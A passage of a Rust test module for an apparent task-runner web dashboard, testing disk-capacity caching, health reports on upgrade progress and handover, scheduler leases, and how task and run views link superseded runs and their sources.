25493            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25494                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25495                DiskCapacity::default()
25496            });
25497            assert_eq!(during.runs_bytes, Some(200));
25498            assert_eq!(during.cache_bytes, Some(400));
25499        }
25500        release.send(()).unwrap();
25501        wait_for_disk_scan(&state).await;
25502        let scans = duplicate_scans.clone();
25503        let after = DiskObservation::observe(&state, scope, move |_| {
25504            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25505            DiskCapacity::default()
25506        });
25507        wait_for_disk_scan(&state).await;
25508        assert_eq!(after.runs_bytes, Some(250));
25509        assert_eq!(after.free_bytes, Some(100));
25510        assert_eq!(after.cache_bytes, Some(400));
25511        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25512        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25513    }
25514
25515    #[tokio::test]
25516    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25517        let home = TempDir::new().unwrap();
25518        let old_scope = disk_test_scope(home.path());
25519        let mut new_scope = old_scope.clone();
25520        new_scope.cache = Some(home.path().join("replacement-cache"));
25521        let state = Arc::new(Mutex::new(DiskObservation {
25522            scope: Some(old_scope.clone()),
25523            capacity: known_disk_capacity(),
25524            ..Default::default()
25525        }));
25526        let (started, reached) = tokio::sync::oneshot::channel();
25527        let (release, blocked) = std::sync::mpsc::channel();
25528        DiskObservation::observe(&state, old_scope, move |_| {
25529            started.send(()).unwrap();
25530            blocked.recv().unwrap();
25531            known_disk_capacity()
25532        });
25533        tokio::time::timeout(Duration::from_secs(5), reached)
25534            .await
25535            .unwrap()
25536            .unwrap();
25537        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25538        let scans = duplicate_scans.clone();
25539        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25540            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25541            DiskCapacity::default()
25542        });
25543        assert!(changed.cache_bytes.is_none());
25544        assert!(changed.runs_bytes.is_none());
25545        release.send(()).unwrap();
25546        wait_for_disk_scan(&state).await;
25547        {
25548            let observation = state.lock().unwrap();
25549            assert!(observation.capacity.cache_bytes.is_none());
25550            assert!(observation.finished.is_none());
25551        }
25552        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25553            assert_eq!(scope, &new_scope);
25554            DiskCapacity {
25555                cache_bytes: Some(999),
25556                ..Default::default()
25557            }
25558        });
25559        wait_for_disk_scan(&state).await;
25560        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25561        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25562    }
25563
25564    #[tokio::test]
25565    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25566        let home = TempDir::new().unwrap();
25567        let scope = disk_test_scope(home.path());
25568        let state = Arc::new(Mutex::new(DiskObservation {
25569            scope: Some(scope.clone()),
25570            capacity: known_disk_capacity(),
25571            ..Default::default()
25572        }));
25573        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25574        wait_for_disk_scan(&state).await;
25575        {
25576            let mut observation = state.lock().unwrap();
25577            assert_eq!(observation.capacity.cache_bytes, Some(400));
25578            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25579            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25580        }
25581        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25582            cache_bytes: Some(450),
25583            ..Default::default()
25584        });
25585        wait_for_disk_scan(&state).await;
25586        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25587    }
25588
25589    #[test]
25590    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25591        let home = TempDir::new().unwrap();
25592        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25593        assert_eq!(disk_capacity_size(home.path()), Some(0));
25594        std::fs::create_dir(home.path().join("nested")).unwrap();
25595        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25596        assert_eq!(disk_capacity_size(home.path()), Some(5));
25597        #[cfg(unix)]
25598        {
25599            // Unix distinguishes an invalid descendant lookup from absence.
25600            assert_eq!(
25601                disk_capacity_size(&home.path().join("nested/data/child")),
25602                None
25603            );
25604        }
25605        #[cfg(unix)]
25606        {
25607            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25608            assert_eq!(disk_capacity_size(home.path()), Some(5));
25609        }
25610    }
25611
25612    #[tokio::test]
25613    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25614        // `mode = "off"` for the same reason as the test above: a default
25615        // fixture repo falls back to `mode = "notify"`, which would make this
25616        // route's new `update` field a live, unauthenticated GitHub call on
25617        // every assertion in this suite that happens to hit `/api/health`.
25618        let repo = TempDir::new().expect("repo dir");
25619        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25620            .expect("write magi.toml");
25621        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25622
25623        let health = fx.get("/api/health").await.json();
25624        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25625        assert_eq!(
25626            health["update"]["available"], false,
25627            "checking is off, which reads as \"unknown\", not \"none\""
25628        );
25629        assert!(health["update"]["to"].is_null());
25630        assert!(
25631            health["upgrade"].is_null(),
25632            "nothing has ever asked this deck to upgrade"
25633        );
25634    }
25635
25636    #[tokio::test]
25637    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25638        let fx = Fixture::start().await;
25639        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25640
25641        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25642        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25643        progress.advance(crate::updater::Stage::Parking);
25644        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25645
25646        let health = fx.get("/api/health").await.json();
25647        assert_eq!(health["upgrade"]["stage"], "parking");
25648        assert_eq!(health["upgrade"]["from"], "0.5.1");
25649        assert_eq!(health["upgrade"]["to"], "0.5.2");
25650        let waiting_on = health["upgrade"]["waiting_on"]
25651            .as_str()
25652            .expect("waiting_on is set while parking a known run");
25653        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25654        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25655    }
25656
25657    #[tokio::test]
25658    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25659        let fx = Fixture::start().await;
25660        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25661        progress.advance(crate::updater::Stage::Done);
25662        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25663
25664        let health = fx.get("/api/health").await.json();
25665        assert_eq!(health["upgrade"]["stage"], "done");
25666        assert!(
25667            health["upgrade"]["waiting_on"].is_null(),
25668            "nothing to wait on once it is done"
25669        );
25670    }
25671
25672    /// The handover signal is seen however the race falls, and wakes its one
25673    /// waiter once per signal - nothing here can spin.
25674    #[tokio::test]
25675    async fn the_handover_signal_wakes_one_waiter_once() {
25676        let signal = Notify::new();
25677        // Signalled before anyone waits: the stored permit is not lost.
25678        signal.notify_one();
25679        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25680            .await
25681            .expect("an early signal is still seen");
25682        // One signal, one wake-up: a second wait does not resolve by itself.
25683        assert!(
25684            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25685                .await
25686                .is_err(),
25687            "a consumed signal must not wake a second time"
25688        );
25689        // Signalled while waiting.
25690        let signal = std::sync::Arc::new(signal);
25691        let waiter = tokio::spawn({
25692            let signal = std::sync::Arc::clone(&signal);
25693            async move { wait_for_handover(&signal).await }
25694        });
25695        tokio::time::sleep(Duration::from_millis(20)).await;
25696        assert!(!waiter.is_finished(), "nothing was signalled yet");
25697        signal.notify_one();
25698        tokio::time::timeout(Duration::from_secs(5), waiter)
25699            .await
25700            .expect("a late signal wakes the waiter")
25701            .expect("join");
25702    }
25703
25704    #[tokio::test]
25705    async fn health_says_how_long_a_handover_has_been_stuck() {
25706        let fx = Fixture::start().await;
25707        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25708        progress.advance(crate::updater::Stage::Replaced);
25709        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25710        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25711
25712        let health = fx.get("/api/health").await.json();
25713        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25714        assert!(stuck >= 600, "{stuck}");
25715        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25716        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25717    }
25718
25719    #[tokio::test]
25720    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25721        let home = tempfile::tempdir().expect("temp home");
25722        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25723        progress.advance(crate::updater::Stage::Parking);
25724        crate::updater::write_progress(home.path(), &progress).expect("seed");
25725        // What the second upgrade_and_restart and its handler do.
25726        let mut again = progress.clone();
25727        again.advance(crate::updater::Stage::Replaced);
25728        crate::updater::write_progress(home.path(), &again).expect("replaced");
25729        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25730        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25731        let after = crate::updater::read_progress(home.path()).expect("record");
25732        assert_eq!(after.stage, crate::updater::Stage::Parking);
25733    }
25734
25735    #[tokio::test]
25736    async fn health_does_not_call_a_live_parking_wait_stuck() {
25737        let fx = Fixture::start().await;
25738        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25739        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25740        progress.advance(crate::updater::Stage::Parking);
25741        let hours = Duration::from_secs(3 * 3600);
25742        progress.started_at = Timestamp::now() - hours;
25743        progress.updated_at = Timestamp::now() - hours;
25744        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25745        let _lease = crate::updater::LeaseGuard::enter(
25746            fx.home.path(),
25747            Some("20260905-000000-cd51".to_owned()),
25748        );
25749
25750        let health = fx.get("/api/health").await.json();
25751        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25752        assert!(health["upgrade"]["stuck_kind"].is_null());
25753        assert_eq!(health["upgrade"]["handover_alive"], true);
25754        let waiting_on = health["upgrade"]["waiting_on"]
25755            .as_str()
25756            .expect("waiting_on");
25757        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25758    }
25759
25760    fn idle_ui(home: &TempDir) -> Ui {
25761        let runs = home.path().join("runs");
25762        std::fs::create_dir_all(&runs).expect("runs dir");
25763        Ui::new(
25764            Queue::at(home.path().join("queue")),
25765            Questions::at(home.path().join("questions")),
25766            Talks::at(home.path().join("talks")),
25767            runs,
25768            home.path().to_path_buf(),
25769            PathBuf::from("/repo/magi"),
25770        )
25771        .with_launch(launch_idle)
25772    }
25773
25774    #[tokio::test]
25775    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25776        let home = TempDir::new().expect("temp home");
25777        let ui = idle_ui(&home);
25778        let lease = crate::worker::try_lease(home.path(), "scheduler")
25779            .expect("scheduler lease")
25780            .expect("free");
25781        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25782            .expect("request stop");
25783        let error = ui
25784            .start_detached_loop()
25785            .await
25786            .expect_err("transition is still live");
25787        assert_eq!(error.status, StatusCode::CONFLICT);
25788        assert!(error.message.contains("still running or stopping"));
25789        assert_eq!(
25790            crate::worker::control(home.path(), "scheduler").unwrap(),
25791            Some(crate::worker::Control::Stop)
25792        );
25793        drop(lease);
25794    }
25795
25796    #[tokio::test]
25797    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25798        let home = TempDir::new().expect("temp home");
25799        let ui = idle_ui(&home);
25800        let turns = ui
25801            .begin_talk_turn("active-chat")
25802            .expect("claim")
25803            .expect("free");
25804        let execution = crate::worker::try_lease(home.path(), "active-task")
25805            .expect("execution lease")
25806            .expect("free");
25807        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25808            .await
25809            .expect("bind loopback");
25810        let address = listener.local_addr().expect("address");
25811        let admissions = Arc::clone(&ui.admissions);
25812        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25813        let successor_started = std::sync::atomic::AtomicBool::new(false);
25814        tokio::time::timeout(
25815            Duration::from_secs(2),
25816            hand_over(home.path(), &admissions, served, || {
25817                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25818                Ok(1)
25819            }),
25820        )
25821        .await
25822        .expect("restart must not wait for execution")
25823        .expect("handover");
25824        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25825        // BSD may retain the address briefly after listener release. The real
25826        // successor uses the same bounded bind retry rather than a one-shot bind.
25827        let successor = bind_waiting(address)
25828            .await
25829            .expect("successor binds released address");
25830        assert_eq!(successor.local_addr().unwrap(), address);
25831        assert!(turns.owns(), "the chat lease survives restart");
25832        assert!(
25833            crate::worker::try_lease(home.path(), "active-task")
25834                .unwrap()
25835                .is_none()
25836        );
25837        drop(execution);
25838        drop(turns);
25839    }
25840
25841    #[tokio::test]
25842    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25843        let home = TempDir::new().expect("temp home");
25844        let ui = idle_ui(&home);
25845        let admission = ui.begin_admission().expect("admit send");
25846        let turn = ui
25847            .begin_talk_turn("active-chat")
25848            .expect("claim")
25849            .expect("free");
25850        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25851            .await
25852            .expect("bind loopback");
25853        let address = listener.local_addr().expect("address");
25854        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25855        let successor_called = std::sync::atomic::AtomicBool::new(false);
25856        let handover = hand_over(home.path(), &ui.admissions, served, || {
25857            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25858            Ok(1)
25859        });
25860        tokio::pin!(handover);
25861        // Poll exactly to the writer waiting on our admission guard. This
25862        // pins the race without sleeps or assumptions about task scheduling.
25863        std::future::poll_fn(|cx| {
25864            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25865            std::task::Poll::Ready(())
25866        })
25867        .await;
25868        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25869        assert!(
25870            ui.begin_admission().is_err(),
25871            "new ingress cannot race the drain"
25872        );
25873        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25874        drop(admission);
25875        tokio::time::timeout(Duration::from_secs(2), handover)
25876            .await
25877            .expect("only publication may delay restart")
25878            .expect("handover");
25879        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25880        assert!(
25881            turn.owns(),
25882            "the detached chat turn is not awaited or cancelled"
25883        );
25884        assert!(
25885            ui.begin_admission().is_err(),
25886            "old accepted connections stay closed"
25887        );
25888        drop(turn);
25889    }
25890
25891    #[test]
25892    fn health_worker_metadata_never_contains_payload_or_result() {
25893        let view = WorkerView::from(crate::worker::Job {
25894            id: "job".into(),
25895            sequence: 1,
25896            kind: "service".into(),
25897            key: "maintenance".into(),
25898            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25899            generation: "generation".into(),
25900            version: Some("1.2.3".into()),
25901            status: crate::worker::Status::Running,
25902            result: Some("private diagnostics".into()),
25903            pid: Some(4242),
25904            created_at: 1,
25905            finished_at: None,
25906        });
25907        let value = serde_json::to_value(view).expect("serialize public metadata");
25908        assert_eq!(value["version"], "1.2.3");
25909        assert_eq!(value["pid"], 4242);
25910        assert!(value.get("payload").is_none());
25911        assert!(value.get("result").is_none());
25912        assert!(!value.to_string().contains("private"));
25913    }
25914
25915    #[test]
25916    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25917        let home = TempDir::new().expect("temp home");
25918        let ui = idle_ui(&home);
25919        std::fs::write(
25920            home.path().join("daemon.json"),
25921            serde_json::json!({
25922                "schema": 2, "pid": 4242, "worker_protocol": 1,
25923                "updated_at": Timestamp::now().to_string(), "idle": true,
25924            })
25925            .to_string(),
25926        )
25927        .expect("status");
25928        let reading = daemon::read_status(home.path());
25929        assert!(Foreign::of(reading.as_ref()).is_none());
25930        let view = ui.runtime_loop_view(reading, &[]);
25931        assert!(view.running);
25932        assert!(view.owned);
25933    }
25934
25935    #[test]
25936    fn only_an_explicit_one_requests_a_resume() {
25937        assert!(!resume_requested(None));
25938        assert!(!resume_requested(Some("0".into())));
25939        assert!(!resume_requested(Some("".into())));
25940        assert!(resume_requested(Some("1".into())));
25941    }
25942
25943    #[test]
25944    fn an_error_is_visible_from_where_the_button_is() {
25945        // The alert used to sit in the flow under the header. On a phone
25946        // scrolled 13 500 px down to a run's action sheet that is off screen,
25947        // so tapping Resume and being told "the loop is running run b455
25948        // right now" looked exactly like a button that did nothing.
25949        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
25950            ..APP_CSS.find(".alert-text").expect(".alert-text")];
25951        assert!(
25952            alert.contains("position: fixed"),
25953            "an error about the thing under your thumb has to be visible from \
25954             where your thumb is: {alert}"
25955        );
25956        assert!(
25957            alert.contains("z-index: 25"),
25958            "above the dock (20) and the run-actions FAB (15), so neither \
25959             buries it: {alert}"
25960        );
25961        assert!(
25962            alert.contains("var(--tap)"),
25963            "and clear of the dock and the home indicator: {alert}"
25964        );
25965        // The FAB sits at the same height on the right. An error that covered
25966        // it would hide the button the operator reaches for next.
25967        assert!(
25968            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
25969            "the FAB's column stays free: {alert}"
25970        );
25971    }
25972
25973    #[tokio::test]
25974    async fn an_older_attempt_says_what_replaced_it() {
25975        let fx = Fixture::start().await;
25976        let q = fx.queue();
25977        let runs = fx.runs();
25978        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25979        write_run(&runs, first, RunStatus::Stalled);
25980        write_run(&runs, second, RunStatus::Blocked);
25981
25982        let mut t = Task::new(
25983            "one task".to_owned(),
25984            "do it".to_owned(),
25985            PathBuf::from("/repo"),
25986            Source::Human,
25987        );
25988        t.runs = vec![first.to_owned(), second.to_owned()];
25989        q.put(&mut t).expect("put");
25990
25991        // Two cards with the same title and no hint which is which was the
25992        // question: "why are there two of the same, one stalled and one
25993        // blocked?" The older one now names its replacement.
25994        let rows = fx.get("/api/runs").await.json();
25995        let by = |short: &str| -> Value {
25996            rows.as_array()
25997                .unwrap()
25998                .iter()
25999                .find(|r| r["short"] == short)
26000                .cloned()
26001                .unwrap_or(Value::Null)
26002        };
26003        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
26004        assert!(
26005            by("bbbb")["superseded_by"].is_null(),
26006            "the latest attempt is not superseded by anything"
26007        );
26008        // Front end: the note has to be rendered, not just carried.
26009        assert!(APP_JS.contains("run.superseded_by"));
26010        assert!(APP_JS.contains("Superseded by"));
26011    }
26012
26013    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
26014        let mut t = Task::new(
26015            "one task".to_owned(),
26016            "do it".to_owned(),
26017            PathBuf::from("/repo"),
26018            Source::Human,
26019        );
26020        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
26021        t.status = status;
26022        t
26023    }
26024
26025    #[test]
26026    fn source_link_picks_the_page_that_filed_the_task() {
26027        let agent = |node: &str| Source::Agent {
26028            run: "20260904-014455-ab12".to_owned(),
26029            node: node.to_owned(),
26030        };
26031        let chat = source_link(&agent("chat")).expect("chat link");
26032        assert_eq!(chat.kind, "chat");
26033        assert_eq!(chat.id, "20260904-014455-ab12");
26034        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
26035        let run = source_link(&agent("implement")).expect("run link");
26036        assert_eq!(
26037            (run.kind, run.href.as_str()),
26038            ("run", "#/runs/20260904-014455-ab12")
26039        );
26040        assert_eq!(source_link(&Source::Human), None);
26041        assert_eq!(
26042            source_link(&Source::Issue {
26043                number: 3,
26044                repo: "o/r".to_owned()
26045            }),
26046            None
26047        );
26048        let odd = source_link(&Source::Agent {
26049            run: "a b/c".to_owned(),
26050            node: "chat".to_owned(),
26051        })
26052        .expect("link");
26053        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
26054    }
26055
26056    #[test]
26057    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
26058        assert!(
26059            !APP_JS.contains("src.node === \"chat\""),
26060            "inline href rule is back"
26061        );
26062        assert!(
26063            APP_JS.matches("sourceLinkOf(").count() >= 4,
26064            "helper must serve every page"
26065        );
26066        assert!(
26067            APP_JS.matches("openChatLink(").count() >= 3,
26068            "the run page still needs its explicit chat link"
26069        );
26070        assert!(
26071            !APP_JS.contains("const openChat = el("),
26072            "the Queue card duplicates its source label link again"
26073        );
26074        assert!(
26075            APP_JS.contains("metaKids.push(link ? el(\"a\""),
26076            "the task page must link a chat source label too"
26077        );
26078    }
26079
26080    #[test]
26081    fn task_ref_carries_the_source_link_for_a_chat_task() {
26082        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26083        t.source = Source::Agent {
26084            run: "20260904-014455-ab12".to_owned(),
26085            node: "chat".to_owned(),
26086        };
26087        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
26088        let v = serde_json::to_value(&out).expect("json");
26089        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
26090        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
26091        assert_eq!(v["source_label"], t.source.label());
26092
26093        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26094        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
26095            .expect("json");
26096        assert!(v["source_link"].is_null(), "{v}");
26097    }
26098
26099    #[test]
26100    fn task_view_serializes_source_link() {
26101        let mut t = Task::new(
26102            "t".to_owned(),
26103            "t".to_owned(),
26104            PathBuf::from("/repo"),
26105            Source::Agent {
26106                run: "20260901-000000-aaaa".to_owned(),
26107                node: "implement".to_owned(),
26108            },
26109        );
26110        t.runs.clear();
26111        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26112        assert_eq!(v["source_link"]["kind"], "run", "{v}");
26113        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
26114    }
26115
26116    #[test]
26117    fn task_view_serializes_urgent_flag() {
26118        let mut t = Task::new(
26119            "t".to_owned(),
26120            "t".to_owned(),
26121            PathBuf::from("/repo"),
26122            Source::Human,
26123        );
26124        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26125        assert_eq!(v["urgent"], false, "{v}");
26126        t.urgent = true;
26127        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26128        assert_eq!(v["urgent"], true, "{v}");
26129        assert!(APP_JS.contains("task.urgent === true"));
26130    }
26131
26132    #[test]
26133    fn task_view_serializes_immediate_flag_and_ui_hooks() {
26134        let mut t = Task::new(
26135            "t".to_owned(),
26136            "t".to_owned(),
26137            PathBuf::from("/repo"),
26138            Source::Human,
26139        );
26140        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26141        assert_eq!(v["immediate"], false, "{v}");
26142        t.immediate = true;
26143        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26144        assert_eq!(v["immediate"], true, "{v}");
26145        assert!(APP_JS.contains("task.immediate === true"));
26146        assert!(APP_JS.contains("/immediate"));
26147    }
26148
26149    #[tokio::test]
26150    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
26151        let fx = Fixture::start().await;
26152        let runs = fx.runs();
26153        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26154        write_run(&runs, old, RunStatus::Blocked);
26155        write_run(&runs, new, RunStatus::Merged);
26156        let mut t = outcome_task(&[old, new], TaskStatus::Done);
26157        fx.queue().put(&mut t).expect("put");
26158
26159        let view = fx.get(&format!("/api/runs/{old}")).await.json();
26160        let task = &view["task"];
26161        assert_eq!(task["status"], "done");
26162        assert_eq!(task["is_latest"], false);
26163        assert_eq!(task["latest"]["short"], "bbbb");
26164        assert_eq!(task["finished_by"]["id"], new);
26165        assert_eq!(task["finished_by"]["outcome"], "merged");
26166        assert_eq!(task["closed_by_hand"], false);
26167        assert_eq!(view["status"], "blocked", "the run keeps its own status");
26168        assert!(APP_JS.contains("finished_by"));
26169        assert!(APP_JS.contains("superseded by run"));
26170    }
26171
26172    #[tokio::test]
26173    async fn the_latest_run_reports_a_held_task_without_a_successor() {
26174        let fx = Fixture::start().await;
26175        let runs = fx.runs();
26176        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26177        write_run(&runs, old, RunStatus::Stalled);
26178        write_run(&runs, new, RunStatus::Blocked);
26179        let mut t = outcome_task(&[old, new], TaskStatus::Held);
26180        fx.queue().put(&mut t).expect("put");
26181
26182        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
26183        assert_eq!(task["status"], "held");
26184        assert_eq!(task["is_latest"], true);
26185        assert!(task["latest"].is_null());
26186        assert!(task["finished_by"].is_null());
26187        assert_eq!(task["closed_by_hand"], false);
26188    }
26189
26190    #[tokio::test]
26191    async fn a_direct_run_has_no_task_outcome() {
26192        let fx = Fixture::start().await;
26193        let runs = fx.runs();
26194        let id = "20260901-000000-aaaa";
26195        write_run(&runs, id, RunStatus::Blocked);
26196        let view = fx.get(&format!("/api/runs/{id}")).await.json();
26197        assert!(view["task"].is_null());
26198    }
26199
26200    #[test]
26201    fn task_outcome_does_not_guess_a_finishing_run() {
26202        let a = "20260901-000000-aaaa";
26203        let b = "20260901-000000-bbbb";
26204        let c = "20260901-000000-cccc";
26205        let dir = tempfile::tempdir().expect("tempdir");
26206        write_run(dir.path(), a, RunStatus::Blocked);
26207        write_run(dir.path(), b, RunStatus::VerifiedNoop);
26208        // `c` has no record: unreadable.
26209        let read = |id: &str| read_run(dir.path(), id).ok();
26210        // Neither a blocked run nor a no-op finished the task; the newest run is
26211        // unreadable and still named.
26212        let t = outcome_task(&[a, b, c], TaskStatus::Done);
26213        let out = task_outcome(&t, a, 3, read);
26214        assert!(out.finished_by.is_none());
26215        assert!(out.closed_by_hand);
26216        let latest = out.latest.expect("latest");
26217        assert_eq!(latest.id, c);
26218        assert_eq!(latest.status, None);
26219        assert_eq!(latest.outcome, "record unreadable");
26220
26221        // A Ready run settles the task as done, so it is named as the finisher.
26222        write_run(dir.path(), c, RunStatus::Ready);
26223        let t = outcome_task(&[a, c], TaskStatus::Done);
26224        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
26225        assert_eq!(out.finished_by.expect("finisher").id, c);
26226        assert!(!out.closed_by_hand);
26227
26228        // A resumed run id repeats: it is still the latest by id.
26229        let t = outcome_task(&[a, b, a], TaskStatus::Held);
26230        assert!(task_outcome(&t, a, 3, read).is_latest);
26231    }
26232
26233    #[tokio::test]
26234    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
26235        // The list route has known this since the card fix above; the detail
26236        // route — what an operator actually opens from a notification about
26237        // a blocked run — did not, and went on showing a bare red BLOCKED
26238        // chip for a run a retry had already finished.
26239        let fx = Fixture::start().await;
26240        let q = fx.queue();
26241        let runs = fx.runs();
26242        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
26243        write_run(&runs, first, RunStatus::Blocked);
26244        write_run(&runs, second, RunStatus::Merged);
26245
26246        let mut t = Task::new(
26247            "one task".to_owned(),
26248            "do it".to_owned(),
26249            PathBuf::from("/repo"),
26250            Source::Human,
26251        );
26252        t.runs = vec![first.to_owned(), second.to_owned()];
26253        q.put(&mut t).expect("put");
26254
26255        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
26256        assert_eq!(earlier["superseded_by"], "dddd");
26257        assert_eq!(earlier["latest_attempt"]["id"], second);
26258        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
26259        assert_eq!(
26260            earlier["latest_attempt"]["resolved"], true,
26261            "the run that replaced it landed, so this one reads as settled"
26262        );
26263
26264        let later = fx.get(&format!("/api/runs/{second}")).await.json();
26265        assert!(
26266            later["superseded_by"].is_null(),
26267            "the latest attempt is not superseded by anything"
26268        );
26269        assert!(
26270            later["latest_attempt"].is_null(),
26271            "the latest attempt has no later attempt of its own"
26272        );
26273
26274        // Front end: the detail page has to read the field this route now
26275        // carries, downgrade the chip, and link to the run that replaced it —
26276        // not just repeat the list card's own logic under a different name.
26277        // The link is built off `latest_attempt.id`, the server-resolved
26278        // full id, never a bare short string a client would have to guess a
26279        // full run from.
26280        assert!(APP_JS.contains("run.latest_attempt"));
26281        assert!(APP_JS.contains("data-superseded"));
26282        assert!(APP_JS.contains("#/runs/${latest.id}"));
26283    }
26284
26285    #[tokio::test]
26286    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26287        // A -> B -> C, all Blocked except the last. A's immediate successor
26288        // (superseded_by) is B, which is itself unresolved; what an operator
26289        // opening A's page actually needs is where the task's story stands
26290        // *now* - C, not B - without depending on whether C happens to be in
26291        // whatever page of /api/runs the client last cached.
26292        let fx = Fixture::start().await;
26293        let q = fx.queue();
26294        let runs = fx.runs();
26295        let (a, b, c) = (
26296            "20260901-000000-aaaa",
26297            "20260901-000000-bbbb",
26298            "20260901-000000-cccc",
26299        );
26300        write_run(&runs, a, RunStatus::Blocked);
26301        write_run(&runs, b, RunStatus::Blocked);
26302        write_run(&runs, c, RunStatus::Merged);
26303
26304        let mut t = Task::new(
26305            "retried twice".to_owned(),
26306            "do it".to_owned(),
26307            PathBuf::from("/repo"),
26308            Source::Human,
26309        );
26310        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26311        q.put(&mut t).expect("put");
26312
